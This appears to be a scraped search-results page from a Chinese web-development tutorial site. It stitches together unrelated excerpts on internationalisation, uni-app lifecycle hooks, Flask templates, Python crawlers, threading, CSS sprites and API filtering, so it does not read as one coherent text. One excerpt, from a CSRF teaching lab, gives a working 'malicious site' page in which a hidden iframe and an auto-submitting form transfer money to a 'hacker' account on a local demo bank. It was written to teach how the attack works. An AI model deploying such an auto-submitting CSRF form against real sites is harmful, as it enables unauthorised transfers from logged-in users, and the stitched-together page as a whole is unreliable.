为了账号安全,请及时绑定邮箱和手机立即绑定
3. 国际化

国际化的功能离不开错误码的支持,客户端指定语言到服务端去请求,当出错了服务端会根据错误码和语言找到对应的国际化提示语。从上面图中我们发现,错误码不仅仅是客户端与服务端的交互,后台各个服务间的交互也需要约定的一套错误码。一般一个系统的错误码 code 都是唯一确定的。msg 不同场景下可能不一样,提供给用户的肯定是需要友好且不能暴露底层细节,给开发人员看的就要详细专业的错误内容。网关服务上面维护着多套不同语言的错误码提示语,响应的时候会根据客户端带的 Lang 信息进行国际化转译。模块模块编码错误编码底层描述中文提示语英文提示语库存10001商品规格表关联有误商品不存在goods don’t exist一般国际化的系统中会有多份 xxx_lang.properties文件,每一份代表一种语言的消息提示语。中文一般会转为 Unicode 编码进行存储(这个过程一般开发工具可以设置自动转),这样的处理可以规避不同开发环境下不同编码导致中文乱码。

2. 国际化

上述例子发现输出的结果是英文的,显然是不适合在国内环境使用,moment.js 提供了国际化支持,在现有的库中,moment 支持的语言可以说是相对完备了。通过引入对应的国际化资源(语言文件),来切换语言。<script src="https://cdn.bootcdn.net/ajax/libs/moment.js/2.27.0/moment.min.js"></script><script src="https://cdn.bootcdn.net/ajax/libs/moment.js/2.27.0/locale/zh-cn.min.js"></script><script> var now = moment().calendar(); console.log(now);// 输出当前日历时间 moment().startOf('hour').fromNow(); // 相对这个小时过去了多少分钟 var timestamp = 1593933593236; // 2020年7曰5日下午15点20分38秒 moment(timestamp).fromNow(); // 相对时间戳多久前</script>有关国际化的更多内容可以参考文档。

3.1 微信小程序 API

uni-app 的 API 与微信小程序 API 基本一致。掌握微信小程序 API 对后面的开发很有帮助。微信小程序 API 文档:https://developers.weixin.qq.com/miniprogram/dev/api/

2.2 首页模板 templates/index.html

2.2.1 登录后的界面用户访问网站首页时,根据是否登录显示不同的内容,如果用户已经登录,则显示如下:<html><head><meta charset='utf-8'><title>中国银行</title></head><body><h1>中国银行</h1>{% if hasLogin %}<h2>1. 基本信息</h2><h3>你好, {{user.name}},你的账户剩余 {{user.amount}} 元</a></h3><h2>2. 转账</h2><form action="/transfer" method="POST"> <input type="hidden" name="csrfToken" value="{{ csrfToken }}"> <input type="text" name="name" placeholder="接收用户" /> <input type="text" name="amount" placeholder="转账数量" /> <input type="submit" name="submit" value="转账"></form><h2>3. 退出</h2><form action="/logout" method="POST"> <input type="submit" name="submit" value="退出"></form>在第 10 行,如果参数 hasLogin 为真,表示用户已经登录,则显示在第 11 行到第 23 行的内容。在第 11 行到第 12 行,显示用户的基本信息:姓名和账户余额。在第 13 行到第 19 行,显示用于转账的表单,使用 POST 方法向服务端的 /transfer 页面提出转账请求;字段 csrfToken 存储了服务端发送的 CSRF Token,提交表单时,会将该字段一并提交;字段 name 是转账的接收账户名;字段 amount 是转账的数量。在第 20 行到第 23 行,使用 POST 方法向服务端的 /logout 页面退出登录。2.2.2 没有登录的界面用户访问网站首页时,根据是否登录显示不同的内容,如果用户还没有登录,则显示如下:{% else %}<h2>登录</h2><form action="/login" method="POST"> <input type="text" name="name" placeholder="用户" /> <input type="password" name="password" placeholder="密码" /> <input type="submit" name="submit" value="登录"></form>{% endif %}</body></html>在第 2 行到第 7 行,显示用于登录的表单,使用 POST 方法向服务端的 /login 页面登录。

3.1 打包为微信小程序

注册微信小程序账号,获取到 AppID,我们后面配置的时候会用到。在 HBuilderX 工具栏,点击发行,选择小程序-微信。输入小程序名称和 AppID,单击发行就可以了。这样我们就会获得一个微信小程序的打包文件,接下来我们来发布微信小程序项目,打开微信小程序开发者工具,导入刚刚生成的微信小程序项目的打包文件,在微信小程序开发者工具中先测试一下,项目运行是否正常,项目测试没有问题后,点击右上角>>按钮,上传代码就可以发布微信小程序了,最后等待微信团队审核通过,别人就可以在线上访问到你的项目了。

3. 首页模板

首页模板 templates/index.html 展示了对 Redis 数据库增、删、改、查的操作界面,templates/index.html 分为 5 个部分:

4.2 CSDN

作为国内热门的 IT 技术社区,CSDN 包罗万象,你可以访问 CSDN 首页,输入 Dreamweaver 并点击搜索,即可搜索出大量好。Dreamweaver实战经验。左右一个技术氛围良好的社区,在这里学习的好处是你可能更快的获得交流反馈。

4.2 微信

1. 独立的页面维护了全局 错误码错误码由5位整数构成2. 每个接口一个独立的 参数说明页面正常情况下出参只返回业务实体异常情况才有 errCode errMsg每个接口下也可能有自己的业务错误码

5.2 展示首页面

@app.route('/')def index(): return render_template('index.html')访问首页面时,使用函数 index () 进行处理,函数 index () 渲染模板文件 index.html。

1. 爬虫简介

网络爬虫,又称为网页蜘蛛,是一种按照一定的规则、自动地抓取万维网信息的程序。爬虫是一个自动下载网页的程序,它有选择的访问万维网上的网页与相关的链接,获取所需要的信息。爬虫有着广泛的应用:搜索引擎,谷歌百度等搜索引擎使用爬虫抓取网站的页面舆情分析与数据挖掘,通过抓取微博排行榜的文章,掌握舆情动向数据聚合,比如企查查,抓取企业官网的详细信息导购、价格比对,通过抓取购物网站的商品页面获取商品价格,为买家提供价格参考在面向计算机专业的人才招聘市场上,以爬虫为关键字搜索,可以获得大量的职位招聘:

1. 首页模板 templates/index.html

templates/index.html 是网站首页的模板,包括如下几个部分:

1. 爬取慕课网首页所有课程名称

我们第一个爬虫程序,是来爬取慕课网的首页的所有课程信息的名字。下面的代码锁使用到的技术有的我们并没有涉及到,后面的学习中我们会一一讲解。这里只是让大家对爬虫程序有个大概的了解,熟悉最基本的爬虫流程,以及对爬虫处理有一个粗略的印象,同时,也是激发大家学习的热情,让大家对爬虫不仅停留在理论上,也可以实际操作去加深印象。

4.2 首页布局

HTTPURLConnection 需要一个触发时机,所以在首页布局上我们放置一个 Button 用于触发 http 请求:<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical"> <Button android:id="@+id/start_http" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="center" android:layout_marginTop="100dp" android:text="发起 Http 请求" /></LinearLayout>

3.1 串行获取 <a href="http://baidu.com">baidu.com</a>、<a href="http://taobao.com">taobao.com</a>、<a href="http://qq.com">qq.com</a> 首页

编写程序 serial.py,该程序以串行的方式获取 baidu、taobao、qq 的首页,内容如下:from datetime import datetimeimport requestsimport threadingdef fetch(url): response = requests.get(url) print('Get %s: %s' % (url, response))time0 = datetime.now()fetch("https://www.baidu.com/")fetch("https://www.taobao.com/")fetch("https://www.qq.com/")time1 = datetime.now()time = time1 - time0print(time.microseconds)在第 5 行,定义了函数 fetch,函数 fetch 获取指定 url 的网页。在第 6 行,调用 requests 模块的 get 方法获取获取指定 url 的网页。在第 9 行,记录执行的开始时间。在第 11 行到第 13 行,串行执行获取 baidu、taobao、qq 的首页。在第 15 行到第 17 行,记录执行的结束时间,并计算总共花费的时间,time.micoseconds 表示完成需要的时间(微秒)。执行 serial.py,输出如下:Get https://www.baidu.com/: <Response [200]>Get https://www.taobao.com/: <Response [200]>Get https://www.qq.com/: <Response [200]>683173在输出中,<Response [200]> 是服务器返回的状态码,表示获取成功。成功获取了 baidu、taobao、qq 的首页,总共用时为 683173 微秒。

3.2 并行获取 <a href="http://baidu.com">baidu.com</a>、<a href="http://taobao.com">taobao.com</a>、<a href="http://qq.com">qq.com</a> 首页

编写程序 parallel.py,该程序以并行的方式获取 baidu、taobao、qq 的首页,内容如下:from datetime import datetimeimport requestsimport threadingdef fetch(url): response = requests.get(url) print('Get %s: %s' % (url, response))time0 = datetime.now()t0 = threading.Thread(target = fetch, args = ("https://www.baidu.com/",))t1 = threading.Thread(target = fetch, args = ("https://www.taobao.com/",))t2 = threading.Thread(target = fetch, args = ("https://www.qq.com/",))t0.start()t1.start()t2.start()t0.join()t1.join()t2.join()time1 = datetime.now()time = time1 - time0print(time.microseconds)在第 5 行,定义了函数 fetch,函数 fetch 获取指定 url 的网页。在第 6 行,调用 requests 模块的 get 方法获取获取指定 url 的网页。在第 9 行,记录执行的开始时间。在第 11 行到第 13 行,创建了 3 个线程,分别执行获取 baidu、taobao、qq 的首页。在第 14 行到第 16 行,启动这 3 个线程,这 3 个线程并行执行。在第 17 行到第 19 行,等待这 3 个线程执行完毕。在第 21 行到第 23 行,记录执行的结束时间,并计算总共花费的时间,time.micoseconds 表示完成需要的时间(微秒)。执行 parallel.py,输出如下:Get https://www.baidu.com/: <Response [200]>Get https://www.qq.com/: <Response [200]>Get https://www.taobao.com/: <Response [200]>383800在输出中,<Response [200]> 是服务器返回的状态码,表示获取成功。成功获取了 baidu、taobao、qq的首页,总共用时为 383800 微秒。相比执行,串行执行总共用时为 683173 微秒,因此使用多线程加快了程序的执行速度。

3.2 页面生命周期

函数名说明支持平台 onLoad 页面加载时触发,一个页面只会调用一次。可以传递参数,参数说明查看示例 3.2.1 所有 onShow 页面显示时触发,每次打开页面都会调用一次所有 onReady 页面初次渲染完成后触发,一个页面只会调用一次所有 onHide 页面隐藏时触发,每次隐藏页面都会被触发所有 onUnload 页面卸载时触发所有 onResize 页面每次窗口尺寸变化时会被触发,App、微信小程序 onPullDownRefresh 用户下拉页面时触发,一般用于页面下拉刷新,查看实例 3.2.2 所有 onReachBottom 页面上拉滚动触底时触发所有 onTabItemTap 点击底部 tab 栏时触发,参数为 Object,参数说明查看实例 3.2.3 微信小程序、百度小程序、H5、ApponShareAppMessage 点击右上角分享时触发微信小程序、百度小程序、字节跳动小程序、支付宝小程序 onPageScroll 页面滚动时触发,只监听页面垂直滚动所有 onNavigationBarButtonTap 监听原生标题栏按钮点击事件,参数说明查看实例 3.2.4App、H5onBackPress 页面返回时触发,查看实例 3.2.5App、H5onNavigationBarSearchInputChanged 监听原生标题栏搜索输入框输入内容变化事件 App、H5onNavigationBarSearchInputConfirmed 监听原生标题栏搜索输入框搜索事件 App、H5onNavigationBarSearchInputClicked 监听原生标题栏搜索输入框点击事件 App、H53.2.1 onLoad 参数说明页面生命周期函数 onLoad,是页面最先执行的生命周期函数,如果从上个页面跳转到本页面,可以通过参数 option 传递上个页面的数据。我们来看一下实例,比如要从首页(index.vue)跳转到个人中心页面(me.vue)。实例://index.vue//跳转语句,并在跳转链接上面加上要传递的数据uni.reLaunch({ url: 'test?name=我是首页的数据'});//me.vueexport default { //options参数就是上个页面传递过来的数据 onLoad: function (options) { console.log(options.name); }}//打印出来的结果我是首页的数据3.2.2 onPullDownRefresh 函数用于监听该页面用户下拉页面的动作。普通页面下拉不会触发 onPullDownRefresh 函数,要先在 pages.json 里面,找到当前页面的 pages 节点,并在 style 选项中将 enablePullDownRefresh 设置为 true,下拉页面才可以触发 onPullDownRefresh 函数。下面来看一下实例,比如我们想开启首页(index.vue)的下拉动作。实例://pages.json{ "path": "pages/index/index.vue", "style": { "enablePullDownRefresh": true }}调用完成 onPullDownRefresh 函数后,用 stopPullDownRefresh 函数可以停止当前页面的下拉状态。实例:export default{ onPullDownRefresh(){ console.log('用户下拉页面时触发') uni.stopPullDownRefresh() }}3.2.3 onTabItemTap 参数说明属性类型说明 indexString 被点击 tabItem 的序号,从 0 开始 pagePathString 被点击 tabItem 的页面路径 textString 被点击 tabItem 的按钮文字实例:export default { onTabItemTap(options) { console.log('被点击tabItem的序号index:' + options.index) console.log('被点击tabItem的页面路径pagePath:' + options.pagePath) console.log('被点击tabItem的按钮文字text:' + options.text) }}注意以下几点:onTabItemTap 常用于点击当前 tabitem,滚动或刷新当前页面。如果是点击不同的 tabitem,一定会触发页面切换。如果想在 App 端实现点击某个 tabitem 不跳转页面,不能使用 onTabItemTap,可以使用 plus.nativeObj.view 放一个区块盖住原先的 tabitem,并拦截点击事件。在 App 端,从 HBuilderX 1.9 的自定义组件编译模式才开始支持 onTabItemTap。3.2.4 onNavigationBarButtonTap 参数说明属性类型说明 indexNumber 原生标题栏按钮数组的下标实例:export default { onNavigationBarButtonTap(options) { console.log('index:' + options.index) }}3.2.5 onBackPress 参数说明返回结果的格式是这样的:event = {from:backbutton、 navigateBack}。其中 backbutton 表示来源是左上角返回按钮或 android 返回键;navigateBack 表示来源是 uni.navigateBack。属性类型说明 fromString 触发返回行为的来源:‘backbutton’—— 左上角导航栏按钮及安卓返回键;‘navigateBack’——uni.navigateBack () 方法实例:export default { onBackPress(options) { console.log('from:' + options.from) }}

视频页面:ViewPager

ViewPager 是一种可以让用户通过左右滑动来切换页面的控件,通过它我们可以展示超过屏幕尺寸大小的内容,在某种程度上它可以说是实现多页面的最佳方式,同时 ViewPager 还支持任意动态的添加/删除页面。比如我们可以将不同的类别的内容分别放在不同页面当中,然后通过滑动切换不同的类别从而给用户展示不同的页面,这个在类似百度App等新闻类App中非常适用。在 ViewPager 中插入“娱乐”、“国际”、“体育”、“星座”等等新闻类别,然后在不同的 View 中展示不同的新闻内容,还可以根据用户的喜好动态增加/删除某些页面,接下来就一起来看看如何完成多页视图。

HTTP 通用首部字段

Http 协议除了我们的请求和响应参数,还包含了很多首部字段,这些字段使 Http 在满足基本接口的请求接收参数之余,还有更多高级丰富的扩展。这些首部字段可以分为3类:通用首部字段 / 请求首部字段 / 响应首部字段。本节我们将学习的是通用首部字段。Http 报文结构

1.2 出现了专门的 Web 开发工程师

在互联网早期,网站中的主要内容由静态页面构成,开发一个网站并不需要太多的编程工作,网站开发人员会编写 HTML 文件即可,很多网站甚至于不需要程序员的参与。随着互联网的发展,网站的功能越来越复杂,网站提供的功能日趋丰富,网站更像是一个本地应用程序,而不是单纯展示内容的网页。在这个时期,开发 Web 需要编写大量的程序,一个复杂的 Web 开发项目包含有数万行、甚至于数十万行的源代码。随着网站开发的需求的增加,出现了专门的 Web 开发工程师,在计算机行业的招聘网站上搜索 "Web 开发”,可以获得大量的职位招聘信息:

4. 给网页添加说明信息

在这个知识点中,将为大家着重讲解一下如何设置网页说明信息。下面来看一下具体操作:设置说明信息的操作和设置视角完全一样。如下图展示的一样,先在插入中选择 HTML 然后选择说明即可发现网页代码中多了一条 meta 信息。如图所示:

2. 实际原因

其实真实的原因是因为雪碧的英文名字是Sprite,而雪碧图的英文名是CSS Sprites,他俩同样都有Sprite这个词。左边是雪碧在国内的 Logo,右边是国外的 Logo。可以看到本来在没进入中国市场之前人家就叫Sprite(精灵),只不过进入了中国市场之后,中国区的负责人表示:用户去商店买汽水的时候如果对老板说:老板你这里有没有精灵?听起来就会感觉很奇怪,所以咱们不要被Sprite这个单词给限制住了,咱们应该起一个更符合中文语义的名字,于是乎“雪碧”诞生了。而雪碧图在国外叫做 CSS Sprite(CSS精灵)反正 Sprite 在国内被叫雪碧,那干脆不如咱们就叫它雪碧图吧!——来自最先接触到这项技术的人。所以后来接触这项技术的人也就跟随前人一起叫它雪碧图了。

2.1 微框架

Flask 是一个 Python 实现的 Web 开发微框架,但是这个“微”并不代表着 Flask 功能比较简陋、有所欠缺。微框架中的 “微” 意味着:Flask 旨在保持核心简单而易于扩展;Flask 不会替用户做出太多决策,比如使用何种数据库;Flask 的选项(比如使用何种模板引擎) 通常有多个,用户很容易替换。默认情况下,Flask 不包含数据库抽象层、模板引擎、身份认证或其它任何已有多种库可以胜任的功能,如下图所示。然而,Flask 支持用扩展来给应用添加这些功能,应用程序可以很方便的集成这些扩展。众多的扩展提供了数据库集成、表单验证、上传处理、各种各样的开放认证技术等功能。

1. 学习“网页头部信息”

网页的头部信息指的就是 <head> 标签里的内容。你可以在这里面设置很多网页的属性,比如刷新,比如网页标题,比如网页的关键词等。<head> 标签内也可以容纳脚本( script )标签,要正确认识 <head> 在网页结构中的地位。下面让我来结合 Dreamweaver CC 2018 详细介绍一下相关知识。

2.1 微前端

微前端 尚处在发展时期,其核心概念和 微服务 相似。现阶段较为常用的微前端框架为 single-spa 和 qiankun,后者是基于前者实现的。该技术能做到 技术栈无关,即一个应用,能由多个不同技术的子应用构成,同时做到子应用的相互隔离,这里的隔离就可以选择采用 Web Components 实现。

3.2 首页模板 templates/index.html

恶意网站的页面包括两部分:正常显示的部分实施 CSRF 攻击的代码3.2.1 正常显示的部分<html><head><meta charset='utf-8'><title>恶意网站</title></head><body><h1>恶意网站</h1><ul> <li>在网站中放置吸引人的内容,例如赌博、色情、盗版小说等,吸引人来访问 <li>如果用户已经登录了某银行网站,访问恶意网站首页时,自动向银行网站发起转账请求</ul>通常恶意网站会放置吸引人的内容,例如赌博、色情、盗版小说等,诱导受害者来访问。3.2.2 隐藏 iframe 和 表单<style>iframe { display: none;}form { display: none; }</style>CSRF 攻击需要使用 HTML 中的 iframe 和 表单元素,因此在恶意网站中设置 CSS 属性,让 iframe 和表单隐藏不可见。3.2.3 实施 CSRF 攻击的代码<iframe name="iframe"></iframe><form action="http://localhost:8888/transfer" method="POST" target='iframe'> <input type="text" name="name" value="hacker" placeholder="接收用户"/> <input type="text" name="amount" value="50" placeholder="转账数量"/> <input type="submit" id="submit" value="转账"></form><script>var submit = document.getElementById('submit');submit.click();</script></body></html>在第 3 行,定义了一个提交转账请求的表单,相关属性如下:action 是银行转账的页面;target 指向一个 iframe,向银行网站提交表单请求后,在指定的 iframe 中显示银行网站的返回的内容,因为 iframe 被设置为不可见,因此访问者察觉不到访问银行转账的操作;名称为 ‘name’ 的文本字段是转账的接收账户,值为 hacker,表示向 hacker 转账;名称为 ‘amount’ 的文本字段是转账的数量,值为 50,表示转账 50 元。在第 10 行,获取表单中的提交按钮,在第 11 行,模拟点击提交按钮,向银行发起转账请求。

2. 创建HTML页面并学会添加自己的视频。

如果说文字能够表达的空间有限,那么视频可是多媒体中表达信息种类最丰富的一种。视频中既可以携带音频,又可以携带动画信息,是视觉听觉双重享受的盛宴。那么如何在网页中添加视频呢?下面我们从 HTML 设计角度来带领同学们为网页添加视频。

3. CDN

可以通过 CDN 引入 ECharts 文件:<!-- bootstrap 服务 --><!-- bootstrap 提供的免费CDN服务,亲测非常稳定 --><script src="//cdn.bootcss.com/echarts/4.5.0/echarts.common.js"></script><!-- 七牛云存储服务 --><!-- 国内速度稳定,开放性强 --><script src="//cdn.staticfile.org/echarts/4.5.0/echarts.common.js"></script><!-- jsdeliver 服务 --><!-- 微软的CDN服务,虽然国内访问速度比不上国内CDN,但速度不至于太慢,有国际化需求的可以试试 --><script src="//cdn.jsdelivr.net/npm/echarts@4.5.0/echarts.common.js"></script><!-- cdnjs 服务 --><!-- 一个非常全的CDN服务,存储了大多数主流的js、css、图片库 --><script src="//cdnjs.cloudflare.com/ajax/libs/echarts/4.5.0/echarts.common.js"></script>

2.标准

HTML3.2 以前的标准是由 IETF 制定。IETF 互联网工程任务组(The Internet Engineering Task Force),成立于1985年底,是全球互联网最具权威的技术标准化组织,主要任务是负责互联网相关技术规范的研发和制定,当前绝大多数国际互联网技术标准出自IETF。 IETF 的工作成果主要以RFC文档的途径发布。HTML 3.2 开始,由 W3C 制定标准。W3C 万维网联盟( The World Wide Web Consortium )创建于1994年,是Web技术领域最具权威和影响力的国际中立性技术标准机构。到目前为止,W3C 已发布了200多项影响深远的Web技术标准及实施指南,如广为业界采用的超文本标记语言( HTML )、可扩展标记语言( XML )以及帮助残障人士有效获得Web内容的信息无障碍指南( WCAG )等,有效促进了Web技术的互相兼容,对互联网技术的发展和应用起到了基础性和根本性的支撑作用。

5. 过滤信息(Filtering)

如果记录数量很多,服务器不可能都将它们返回给用户。API 应该提供参数,过滤返回结果。比如,我们想获取全校师生的个人信息,如果将这些信息一股脑地全部展示在网页上,是不明智也是不现实的。如果数据量太大,在实际开发中我们会采用分页展示的形式。另外,如果想在一次考试后,按照成绩高低展示学生信息,那么可以通过过滤信息来实现。所谓过滤,就是在 URL 中添加一下限制参数。下面是一些常见的参数。?limit=10:指定返回记录的数量?offset=10:指定返回记录的开始位置。?page=2&per_page=100:指定第几页,以及每页的记录数。?sortby=score&order=asc:指定返回结果按照学生的成绩(score)正序(asc)排列顺序。参数的设计允许存在冗余,即允许 API 路径和 URL 参数允许有重复。比如,想要查询某个班级所有学生信息,我们可以设计 GET /classes/ID/students 与 GET /students?class_id=ID 两种地址,任何一种都可得到相同的结果。

新浪微博

咱们打开新浪微博,然后随便找个带皇冠的,按下F12键(Mac用户按command+option+i)然后选中控制台的箭头,再点击皇冠:再点开这个图片可以发现:可以看到那些大 V 图标皇冠图标以及各种微博认证等图标,都是放在了一张雪碧图里(即使再牛的大 V,身份标志也是放在雪碧图中的)。

首页上一页1234567下一页尾页
直播
查看课程详情
微信客服

购课补贴
联系客服咨询优惠详情

帮助反馈 APP下载

慕课网APP
您的移动学习伙伴

公众号

扫描二维码
关注慕课网微信公众号